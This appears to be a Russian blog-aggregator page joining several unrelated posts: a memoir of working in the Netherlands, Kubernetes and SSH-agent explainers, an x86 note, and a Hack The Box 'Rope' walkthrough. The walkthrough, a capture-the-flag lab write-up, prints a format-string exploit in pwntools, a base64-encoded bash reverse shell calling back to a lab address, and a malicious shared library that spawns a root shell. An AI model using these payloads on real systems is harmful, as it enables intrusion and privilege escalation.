...

суббота, 23 мая 2020 г.

Истории о моей работе в Нидерландах

Давно не писал на хабр, и вот приспичило. Истории со временем забываются, стираются из памяти, хочу записать в том виде, в каком сейчас помню.

Я живу в Нидерландах уже почти 5 лет, и мне здесь очень нравится. Здесь у нас родился сын, мы купили дом и посадили рядом с ним дерево. Но по работе за это время случалось всякое. Вот несколько историй я и хочу рассказать.

image


1. TradeCounter

Моя первая работа в NL была в городке Almere, ~30km от Амстердама. Отдельное 4х-этажное офисное здание с громадным билбордом, призывающим работать разработчиком в TradeCounter. Билборд выходит на шоссе, и это было бы идеальное место для саморекламы, если бы не посаженные вдоль трассы высоченные деревья, из-за которых с трассы ничего не видно. Работа оказалась странноватая. Мне дали рабочее место в IT-отделе, где, кроме меня, работал еще субтильный CTO, еще один парень, который уволился на следующий день и… всё. IT-отдел представлял собой огромную комнату, в которой вечно царил полумрак, стояли 10 или даже 12 столов с компьютерами, за которыми никто не сидел. Кроме меня. CTO сидел в отдельной комнатке за стеклянной стеной. С другой стороны тоже стеклянная стена, а за ней — выделенная переговорка для IT-отдела с громадным, наверное 2х3 метра тачскрином. CTO бывал на месте нечасто, и в этой переговорке я переговаривался сам с собой, даже однажды позвонил туда на скайп — приятно, знаете, пообщаться с умным человеком.

Самое удивительное было в том, что в течение первого месяца мне не давали доступа к исходникам приложения. Вместо исходников CTO поручил мне разобраться в некоем новом open-source продукте, который буквально на днях опубликовала компания Ebay. Я пришел в проект как разработчик на PHP, а тот софт был на Java. Кроме того, CTO поручил изучить Apache Spark, для чего были немедленно куплены книги по самому Apache Spark, а также по Scala. Задач, которые должен был решать таинственный Java-проект, равно как и Spark, я тогда не получил. Через 2 недели я выловил CTO в один из его редких визитов в офис, и попытался объяснить, что мне удалось почерпнуть из своих изысканий. Мы пошли к кофе-машине, сделали кофе, и я приготовился рассказывать, но успел сказать только "Стефан, я немного изучил тот софт, который вы мне дали.." Стефан посмотрел на меня с интересом, похлопал по плечу и сказал: "Окей". После чего занялся телефоном, отошел, посмотрел на меня, делая такой жест пальцами, который как бы говорил: "сейчас, сейчас, у меня неотложное дело, мы сию минуту все решим". Он взял свой кофе, ушел в свою комнату, и через 5 минут вышел с сумкой через плечо, сказав: "ну, до встречи". Через полчаса пришел один из топ-менеджеров, которого я видел до этого пару раз. Он сказал, что Стефан уволился и сегодня был его последний день в компании.

IT-отдел (то есть меня) теперь возглавил сам CEO. Можно сказать, я был вторым по IT в корпорации c офисами по всей Европе, в Дубаи и даже Москве. CEO не замедлил выдать какую-то задачу, которая, правда, не относилась к основному продукту компании, а представляла собой новый проект. После двух недель непоймичегоделания я заскучал, и с энтузиазмом взял лопату и принялся копать. Копал, как водится, до обеда. Потому что после обеда CEO позвонил и сказал, что проект отменяется. Следующая неделя принесла еще один проект, который также был отменен. Я получил свой первый рейтинг на стековерфлоу, потому что сидел там с утра и до вечера. Еще неделя, еще проект, отмена, я заработал право комментировать на SO и свой первый бейдж.

Я понял, что попал в какой-то переходный период, и всем просто не до меня. Но это была моя первая заграничная работа, впечатлений от Амстердама хватало, и я продолжал ходить в пустой офис (а я ведь остался совсем один в отделе, рассчитанном человек на 12), и бОльшую часть времени пилил какой-то пет-проджект. Однажды я задержался минут на 10 после 5 часов и стремительно понесся к выходу, чтобы успеть на электричку. Выбежал на площадку к лифту, дверь за мной захлопнулась, и тут же раздалась сирена. Я слегка опешил, если не сказать "офигел". В общем — меня забыли. Человек, который обходил здание перед тем как уйти и поставить его на сигнализацию, попросту не заметил меня за монитором в пустом полутемном помещении. Хорошо еще, что у меня был его телефон, так что я позвонил ему, он позвонил в полицию и предупредил о случившемся. Все равно, был отличный экспириенс, когда открылась дверь, и я вышел на свет, навстречу трем машинам полиции и двум полисменам-мотоциклистам, даже пришлось подавить желание поднять руки вверх.

Завершая рассказ о TradeCounter, скажу только, что через четыре месяца я осмелел, проанализировал до буквы свой контракт, и понял, что меня там ничто не держит. За это время моей коллегой стала Ана из Португалии, и уже успела уволиться. Пришел Ференц, парень из Венгрии, я передал ему дела, насколько мог, и ушел. Кстати, про каждого уволившегося из IT-отдела в обязательном порядке всем приходило письмо от господина П. (CEO), в котором бывший сотрудник предавался анафеме. После второго письма я сказал себе, что для меня такое тоже заготовлено. Позже я узнал, что Ференц продержался 3 месяца. А мне, в лучших российских традициях, пригрозили судом и штрафом, и объявили, что собираются удержать с меня ок. 7000 евро за организацию переезда из РФ, документы и, внимание, оплату труда рекрутера, который меня нашел. Я резко воспротивился, апеллируя к контракту, в котором ничего подобного не было. В итоге, при расчете я недосчитался прим. 700 евро, просто так, без объяснения причин. Еще месяц я им названивал и писал письма, безрезультатно. Тогда я передал все документы в коллекторское агентство, и через 2 недели… бинго! получаю перевод на всю сумму! То есть, комиссию коллекторам компания заплатила "сверху". И еще одно… Через 3 года новый коллега узнал, что я работал в TradeCounter, и спросил осторожно: "Ну и какого ты мнения о П.?" Это CEO, напомню. Я сказал: "по-моему, полный *удак". Парень улыбнулся и сказал: "Наверное, мы с тобой сработаемся".


2. Платежно-обменная компания.

Приключения в этой конторе начались тогда, когда ее начало сильно штормить. Один из ключевых клиентов переключился на другой сервис, и тут же начались трудности. Клиентов несколько тысяч, но всего два или три обеспечивали большой процент оборота, при этом накладные расходы на каждого клиента в целом сравнимы. Так что — крупный клиент ушел, вместе с ним ушла заметная часть дохода, а расходы остались прежними. Как говорится, "Д" в словах "Платежно-обменная компания" отвечает за Диверсификацию. А тут еще пришел аудит. Аудит выяснил, что в нашей базе учтено прим. 800 тыс. евро, которые вроде бы принадлежат компании, но прямых доказательств этому нет! То есть, тех отчетов, которые формировала система, было просто недостаточно для некоторых объяснений, и аудитор сказал, что необходимо доказать, что это не деньги клиентов. Меня как главного по SQL на неделю оторвали от работы над приложением, и я погрузился в увлекательный мир legacy database design и бухучета. По результатам 800К удалось отбить. К этому моменту мы (в смысле dev-team) начали что-то подозревать. Руководство делало хорошую мину при плохой игре, но шило таки выглядывало из мешка. Разработчика, который не захотел продлевать контракт, не стали заменять, хотя в команде больше не было никого с его специализацией. Чуть позже уволили контрактника, который, по мнению всех, очень неплохо справлялся со своей работой, а потом уже со скандалом уволили еще одного программиста. Стало совсем кисло, и вот только тогда нам объявили, что дело швах, и нас всех скоро сократят. Если честно, хоть что-то и витало в воздухе, мы были ошарашены. За 7 или 8 месяцев до этого вся компания ездила в Австрию на горнолыжный отдых — за счет этой самой компании. Я хочу здесь немного сорвать розовые очки с тех, кто верит, что в Европе все абсолютно честно и прозрачно. Для некоторых это все обернулось большими неприятностями, чуть не до депортации из-за заканчивающегося ВНЖ. Вспыли забавные полукоррупционные факты. Например, оплата топ-менеджментом люксовых апартаментов или дорогущей парковки в центре Амстердама — за счет компании, само собой.

В целом, лично для меня и для большинства других все кончилось вполне благополучно, благодаря очень крутой социальной защищенности работников в NL. Если по простому — в ситуации финансовых трудностей у компании есть шанс уволить сотрудников и почти ничего им не платить. Но это настолько сложно, что на практике этим никто не пользуется, если только есть хоть какая-то возможность уладить дело полюбовно. Нам выплатили приличную компенсацию в размере двух окладов, плюс месяц "освобождения от работы" (exemption from work): это время, которое тебе оплачивают по полной ставке, но ты не работаешь. Подразумевается, что ты ищешь новую работу, но мы вместо этого взяли ноги в руки и свалили на 6 недель в Мексику. Еще интересный факт: компания оплатила каждому услуги адвоката — специалиста по трудовому праву — чтобы тот вел с компанией все переговоры о компенсациях.

Ну вот и все, что я хотел рассказать, спасибо за внимание тем, кто дочитал до конца! А если вдруг вы рассматриваете Нидерланды как страну, куда вы хотели бы переехать и работать здесь — пишите в личку, здесь или в твиттере — я постараюсь ответить на интересующие вопросы!

Let's block ads! (Why?)

[Перевод] Лучшие практики Kubernetes. Корректное отключение Terminate

Лучшие практики Kubernetes. Создание небольших контейнеров
Лучшие практики Kubernetes. Организация Kubernetes с пространством имен
Лучшие практики Kubernetes. Проверка жизнеспособности Kubernetes с помощью тестов Readiness и Liveness
Лучшие практики Kubernetes. Настройка запросов и лимитов ресурсов

Важным моментом в работе распределенных систем является обработка сбоев. Kubernetes помогает в этом, используя контроллеры, которые следят за состоянием вашей системы и перезапускают переставшие работать сервисы. Однако Kubernetes может принудительно останавливать работу ваших приложений, чтобы обеспечить общую жизнеспособность системы. В этой серии мы рассмотрим, как можно помочь Kubernetes выполнять свою работу более эффективно и сокращать время простоя приложений.

До начала применения контейнеров большинство приложений работали на виртуальных или физических машинах. Если приложение давало сбой или зависало, требовалось много времени, чтобы снять выполняемую задачу и заново загрузить программу. В худшем случае кому-то приходилось решать эту проблему вручную ночью, в самое неурочное время. Если важную задачу выполняли всего 1-2 рабочих машины, такой сбой в работе был совершенно неприемлемым.
Поэтому вместо ручной перезагрузки начали использовать мониторинг на уровне процессов для автоматического перезапуска приложения в случае его аварийного завершения. Если программа дала сбой, процесс мониторинга захватывает exit-код и перезагружает сервер. С появлением таких систем, как Kubernetes, этот вид реагирования на сбои системы был просто интегрирован в инфраструктуру.

Kubernetes использует петлю событий «наблюдение – фиксация отличий – совершение действия», чтобы убедиться, что ресурсы сохраняют работоспособность по пути из контейнеров к самим узлам.

Это означает, что вам больше не нужно вручную запускать мониторинг процессов. Если ресурс не прошел проверку работоспособности Health Check, Kubernetes просто автоматически предоставит ему замену. При этом Kubernetes делает гораздо больше, чем просто следит за сбоями ваших приложений. Он может создавать больше копий приложения для работы на нескольких машинах, обновлять приложение или одновременно запускать несколько версий вашего приложения.
Поэтому существует множество причин, по которым Kubernetes может прервать работу совершенно здорового контейнера. Например, если вы обновляете свое развертывание, Kubernetes будет медленно останавливать старые поды, одновременно запуская новые. Если вы отключаете узел, Kubernetes прекратит работу всех подов в этом узле. Наконец, если у узла закончатся ресурсы, Kubernetes отключит все поды, чтобы освободить эти ресурсы.

Поэтому очень важно, чтобы ваше приложение прекращало работу с минимальным влиянием на конечного пользователя и минимальным временем восстановления. Это означает, что перед отключением оно должно сохранить все данные, которые необходимо сохранить, закрыть все сетевые подключения, завершить оставшуюся работу и успеть выполнить другие неотложные задачи.

На практике это означает, что ваше приложение должно уметь обрабатывать сообщение SIGTERM – сигнал завершения процесса, который является сигналом по умолчанию для утилиты kill в ОС семейства Unix. Получив это сообщение, приложение должно отключиться.

После того, как Kubernetes решил завершить pod, происходит целый ряд событий. Давайте рассмотрим каждый шаг, который совершает Kubernetes при завершении работы контейнера или пода.

Предположим, что мы хотим завершить один из подов. В этот момент он перестанет получать новый трафик – работающие в поде контейнеры не будут затронуты, но весь новый трафик будет заблокирован.

Давайте рассмотрим хук preStop — это специальная команда или HTTP-запрос, который отправляется контейнерам в поде. Если ваше приложение при получении SIGTERM выключается не корректно, вы можете использовать preStop для правильного завершения работы.

Большинство программ при получении сигнала SIGTERM завершают свою работу корректно, но если вы используете сторонний код или какую-то систему, которую не можете полностью контролировать, хук preStop служит отличным способом вызвать изящное отключение без изменения приложения.

После исполнения этого хука Kubernetes пошлет контейнерам в поде сигнал SIGTERM, который даст им знать, что скоро они будут отключены. Получив этот сигнал, ваш код перейдет к процессу отключения. Этот процесс может включать в себя остановку любых долгоживущих соединений, таких, как подключение к базе данных или поток WebSocket, сохранение текущего состояния и тому подобное.

Даже если вы используете хук preStop, очень важно проверить, что именно происходит с вашим приложением, когда вы посылаете ему сигнал SIGTERM, как оно себя при этом ведет, чтобы события или изменения в работе системы, вызванные отключением пода, не стали для вас неожиданностью.

В этот момент, прежде чем предпринять дальнейшие действия, Kubernetes будет ждать в течение указанного времени, называемого terminationGracePeriodSecond, или периодом для корректного отключения при получении сигнала SIGTERM.

По умолчанию этот период составляет 30 секунд. Важно отметить, что он длится параллельно с preStop hook и сигналом SIGTERM. Kubernetes не будет ждать, пока закончится preStop hook и SIGTERM — если ваше приложение завершит работу до окончания периода TerminationGracePeriod, Kubernetes немедленно перейдет к следующему шагу. Поэтому проверьте, чтобы значение данного периода в секундах было не меньше времени, требуемого для корректного отключения пода, и если оно превышает 30с, увеличьте период до нужной величины в YAML. В приведенном примере он составляет 60с.

И наконец, последний шаг — если контейнеры все еще продолжают работать по истечении terminationGracePeriod, они пошлют сигнал SIGKILL и будут принудительно удалены. В этот момент Kubernetes также вычистит все остальные объекты пода.

Kubernetes прекращает работу подов по многим причинам, поэтому убедитесь, что в любом случае ваше приложение будет завершено корректно, чтобы обеспечить стабильную работу сервиса.

Продолжение будет совсем скоро…


Немного рекламы :)


Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас, оформив заказ или порекомендовав знакомым, облачные VPS для разработчиков от $4.99, уникальный аналог entry-level серверов, который был придуман нами для Вас:Вся правда о VPS (KVM) E5-2697 v3 (6 Cores) 10GB DDR4 480GB SSD 1Gbps от $19 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).

Dell R730xd в 2 раза дешевле в дата-центре Equinix Tier IV в Амстердаме? Только у нас 2 х Intel TetraDeca-Core Xeon 2x E5-2697v3 2.6GHz 14C 64GB DDR4 4x960GB SSD 1Gbps 100 ТВ от $199 в Нидерландах! Dell R420 — 2x E5-2430 2.2Ghz 6C 128GB DDR3 2x960GB SSD 1Gbps 100TB — от $99! Читайте о том Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?

Let's block ads! (Why?)

Сколько инструкций в x86?

vvvphoenix упомянул в своей позавчерашней статье: «Кстати, я пытался найти график роста числа X86 инструкций по годам (или по поколениям). Пока не смог (может, есть у кого?)»

Я решил, что мне это тоже интересно — да настолько, что не жалко потратить выходной день на сведение en.wikipedia.org/wiki/X86_instruction_listings в одну табличку:

Считались различные мнемоники; например, десятки вариантов MOV считались за одну инструкцию.

Таким образом, можно грубо считать, что количество мнемоник в x86 удваивается каждые 13 лет.

Let's block ads! (Why?)

[Перевод] Про SSH Agent

Введение


SSH-agent является частью OpenSSH. В этом посте я объясню, что такое агент, как его использовать и как он работает, чтобы сохранить ваши ключи в безопасности. Я также опишу переадресацию агента и то, как она работает. Я помогу вам снизить риск при использовании переадресации агента и поделюсь альтернативой переадресации агента, которую вы можете использовать при доступе к своим внутренним хостам через bastion’ы.

Что такое SSH-agent


ssh-agent — это менеджер ключей для SSH. Он хранит ваши ключи и сертификаты в памяти, незашифрованные и готовые к использованию ssh. Это избавляет вас от необходимости вводить пароль каждый раз, когда вы подключаетесь к серверу. Он работает в фоновом режиме в вашей системе, отдельно от ssh, и обычно запускается при первом запуске ssh.

Агент SSH хранит секретные ключи в безопасности из-за того, что он не делает:

  • Он не записывает никакой информации о ключах на диск.
  • Он не позволяет экспортировать ваши личные ключи.

Секретные ключи, хранящиеся в Агенте, могут использоваться только для одной цели: подписания сообщения.

Но если агент может только подписывать сообщения, как SSH шифрует и расшифровывает трафик?

При первом изучении открытых и закрытых ключей SSH естественно предположить, что SSH использует эти пары ключей для шифрования и дешифрования трафика. Именно так я и думал. Но это не тот случай. Пара ключей SSH используется только для аутентификации во время первоначального соединения.
Например, вот как проверяется ключ пользователя во время SSH-соединения, с точки зрения сервера:

  • Клиент предоставляет серверу публичный ключ.
  • Сервер генерирует и отправляет короткое случайное сообщение, прося клиента подписать его с помощью приватного ключа.
  • Клиент просит агента SSH подписать сообщение и пересылает результат обратно на сервер.
  • Сервер проверяет подпись, используя публичный ключ клиента.
  • Теперь у сервера есть доказательство того, что клиент владеет приватным ключом.

Позже в процессе соединения генерируется набор новых, эфемерных и симметричных ключей, которые используются для шифрования трафика сеанса SSH. Эти ключи могут даже не длиться весь сеанс; событие «rekey» происходит через регулярные промежутки времени.

Протокол агента


SSH использует сокет домена Unix для общения с агентом по протоколу SSH agent. Большинство людей используют ssh-agent, который поставляется с OpenSSH, но есть множество альтернатив с открытым исходным кодом.

Протокол агента настолько прост, что можно было бы написать базовый SSH-agent за день или два. Он имеет только несколько основных операций:

  • Добавить обычную пару ключей (публичный и расшифрованный приватный ключи)
  • Добавить ограниченную пару ключей (публичный и расшифрованный приватный ключи)
  • Добавить ключ (обычный или ограниченный) из смарт-карты (только публичный ключ)
  • Удалить ключ
  • Вывод списка ключей, хранящихся в агенте
  • Подпись сообщения ключом, хранящимся в агенте
  • Блокировка или разблокировка всего агента с помощью пароля

Что такое ограниченный ключ? Обычно это ключ, который либо имеет ограниченный срок службы, либо требует явного подтверждения пользователя при его использовании.

Команда ssh-add — это ваш шлюз к агенту SSH. Он выполняет все эти операции, кроме подписи. Когда вы запускаете ssh-add без каких-либо параметров, он будет сканировать ваш домашний каталог на наличие некоторых стандартных ключей и добавлять их в ваш агент. По умолчанию он ищет:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_ed25519
  • ~/.ssh/id_dsa
  • ~/.ssh/id_ecdsa

Как только вы добавите ключи к связке ключей, они будут автоматически использоваться ssh.

ssh-агент и macOS Keychain
ssh-agent, поставляемый вместе с macOS, может хранить парольную фразу для ключей в macOS Keychain, что делает еще более простым повторное добавление ключей к агенту после перезагрузки. В зависимости от настроек Keychain вам все равно может потребоваться разблокировать его после перезагрузки. Чтобы сохранить ключевые парольные фразы в Keychain, выполните команду ssh-add -K [имя файла ключа]. Парольные фразы обычно хранятся в «Local Items». ssh-agent будет использовать эти сохраненные парольные фразы автоматически по мере необходимости.

Что такое переадресация агента


Функция переадресации агента позволяет вашему локальному агенту SSH связаться через существующее SSH-соединение и прозрачно аутентифицироваться на более удаленном сервере. Например, предположим, что вы входите по SSH в инстанс EC2 и хотите клонировать оттуда приватный репозиторий GitHub. Без переадресации агента вам придется хранить копию вашего приватного ключа GitHub на хосте EC2. При переадресации агента SSH-клиент на EC2 может использовать ключи на вашем локальном компьютере для аутентификации на GitHub.

Как работает переадресация агента


Во-первых, немного предыстории. SSH-соединения могут иметь несколько каналов. Вот распространенный пример: интерактивное соединение с bastion-host (jump box) выполняется на одном канале. Когда для соединения включена переадресация агента (обычно с использованием ssh -A), в фоновом режиме открывается второй канал для переадресации любых запросов агента обратно на ваш локальный компьютер.

С точки зрения ssh, нет никакой разницы между удаленным и локальным ssh-agent. SSH всегда смотрит на переменную окружения $SSH_AUTH_SOCK, чтобы найти доменный сокет Unix для агента. При подключении к удаленному хосту с включенной переадресацией агента SSHD создаст удаленный доменный сокет Unix, связанный с каналом переадресации агента, и экспортирует $SSH_AUTH_SOCK, указывающий на него.

image

Переадресация агента связана с определенным риском


Когда вы переадресовываете доменный сокет ssh-agent Unix на удаленный хост, это создает угрозу безопасности: любой человек с root доступом на удаленном хосте может незаметно получить доступ к вашему локальному SSH-agent’y через сокет. Они могут использовать ваши ключи, чтобы выдавать себя за вас на других машинах в сети.

Вот пример того, как это может выглядеть:

image

Как снизить свой риск при переадресации агента


Вот несколько способов сделать переадресацию агента более безопасной:
  • Не включайте ForwardAgent по умолчанию.

Заблокируйте свой ssh-агент, когда вы используете переадресацию агента. ssh-add -x блокирует агент паролем, а ssh-add -X разблокирует его. Когда вы подключены к удаленному хосту с переадресацией агента, никто не сможет проникнуть в ваш агент без пароля.

Или используйте альтернативный агент SSH, который запрашивает вас, когда он используется. Sekey использует Touch ID на macOS для хранения ключей в анклаве безопасности MacBook Pro.

Или вообще не используйте переадресацию агента. Если вы пытаетесь получить доступ к внутренним хостам через bastion, ProxyJump — гораздо более безопасная альтернатива для этого варианта использования. (смотреть ниже)

Используйте ProxyJump: более безопасная альтернатива


Когда вы хотите пройти через bastion-host (jumpbox), вам действительно не нужна переадресация agent’a. Лучший подход — использовать директиву ProxyJump.

Вместо того чтобы перенаправлять agent’a по отдельному каналу, ProxyJump перенаправляет стандартный вход и выход вашего локального SSH-клиента через bastion и далее на удаленный хост. Вот как это работает:

  1. Запустите ssh -J bastion.example.com cloud.computer.internal для подключения к cloud.computer.internal через ваш bastion хост — bastion.example.com. cloud.computer.internal — это имя хоста, которое можно найти с помощью поиска DNS на bastion.example.com.
  2. Ваш SSH клиент использует ключи от вашего агента для подключения к bastion.example.com.
  3. После подключения SSHD к bastion подключается к cloud.computer.internal и передает это соединение вашему локальному SSH-клиенту.
  4. Ваш локальный SSH-клиент снова проходит через соединение, на этот раз с cloud.computer.internal

Вы можете думать об этом как о SSH в сеансе SSH; за исключением того, что ssh никогда не запускается на bastion. Вместо этого sshd подключается к cloud.computer.internal и дает контроль над этим соединением (стандартный вход и выход) обратно в ваш локальный SSH, который затем выполняет второе соединение.

Настройка ProxyJump

Скажем bastion-host это bastion.example.com. Я могу настроить свой ~/.ssh/config так:

Host bastion.example.com
User carl

Host *.computer.internal
ProxyJump bastion.example.com
User carl

Затем я просто запускаю ssh cloud.computer.internal для подключения к внутреннему назначению через bastion — без переадресации агента.

Если ProxyJump не работает…

Более старые версии SSH и SSHD (до версии 7.2, выпущенной в 2016 году) не поддерживают ProxyJump. Но вы можете выполнить эквивалентную операцию, используя ProxyCommand и netcat. Вот вам пример:

ssh -o ProxyCommand="ssh bastion.example.com nc %h %p" cloud.computer.internal

Магия здесь заключается в том, что SSH сам по себе является прокси-сервером, который вы используете для SSH. Часть nc %h %p просто открывает необработанное соединение сокета к cloud.computer.internal на порте 22. Стандартный ввод-вывод родительской команды ssh передается прямо в ProxyCommand, чтобы родительский ssh мог аутентифицироваться на внутреннем хосте через прокси-соединение.



image
Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:

Читать еще


Let's block ads! (Why?)

Hack The Box. Прохождение Rope. PWN. Форматные строки и ROP используя pwntools

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.
10.10.10.148    rope.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A rope.htb -p22,9999

image

На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.

image

При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).

image

И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.

image

HTTPserver PWN


Скачаем его и посмотрим, какая есть защита с помощью checksec.

image

Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:

  • Бит NX (not execute) — это технология, используемая в ЦП, которая гарантирует, что некоторые области памяти (такие как стек и куча) не могут быть выполнены, а другие, такие как раздел кода, не могут быть записаны. Это мешает нам записывать шеллкод в стек и выполнять его.
  • ASLR: в основном рандомизирует базу библиотек (libc), так что мы не можем знать адрес памяти функций libc. Это мешает атакам типа ret2libc.
  • PIE: этот метод, как и ASLR, рандомизирует базовый адрес, но из самого двоичного файла. Это затрудняет нам использование гаджетов или функций исполняемого файла.
  • Canary: обычно случайное значение, генерируется при инициализации программы и вставляется в конец области, где переполняется стек. В конце функции проверяется, было ли изменено значение канареек. Мешает выполнить переполнение и перезаписать адрес.

Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:
  1. По какому адресу загружена сама программа?
  2. И по какому адресу, загружены используемые ей библиотеки?

Давайте сделаем это.
curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

image

Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — LazyIDA. И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.

image

По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.

image

И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.

image

Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.

image

Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.

curl http://127.0.0.1:9999/qwerty

image

Давайте проверим уязвимость форматной строки.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

image

Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).

image

Получаем 53. Проверим, что все верно.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

image

Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.
echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Давайте допишем это в код:
offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:
writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Собираем итоговую полезную нагрузку:
payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Подключаемся и отправляем:
p = remote(host,port)
p.send(payload)
p.close()

Полный код выглядит так.

image

Выполним код и получим бэкконнект.

image

image

USER


Проверим настойки sudo для выполнения команд без пароля.

image

И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.

image

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

image

То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Теперь компилируем ее.
gcc -c -Wall -Werror -fpic liblog.c

И собираем библиотеку.
Gcc -shared -o liblog.so liblog.o

После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.

image

Таким образом, мы берем пользователя.

ROOT


Для перечисления системы используем linpeas.

image

Так на локалхосте прослушивается 1337 порт.

image

Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.

image

Есть интересный файл. И это та программа, что прослушивает порт.

image

При этом в приложение работает от имени root.

image

Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.

image

Проверим какую защиту имеет приложение.

image

Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал здесь). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.

image

Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.

image

Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.

image

Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.

image

Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:

  1. найти и переполнить буфер;
  2. сбрутить канарейку, rbp и rip;
  3. так как активирован PIE, то нужно найти действительное смещение;
  4. найти утечку памяти для вычисления адреса, по которому загружена библиотека;
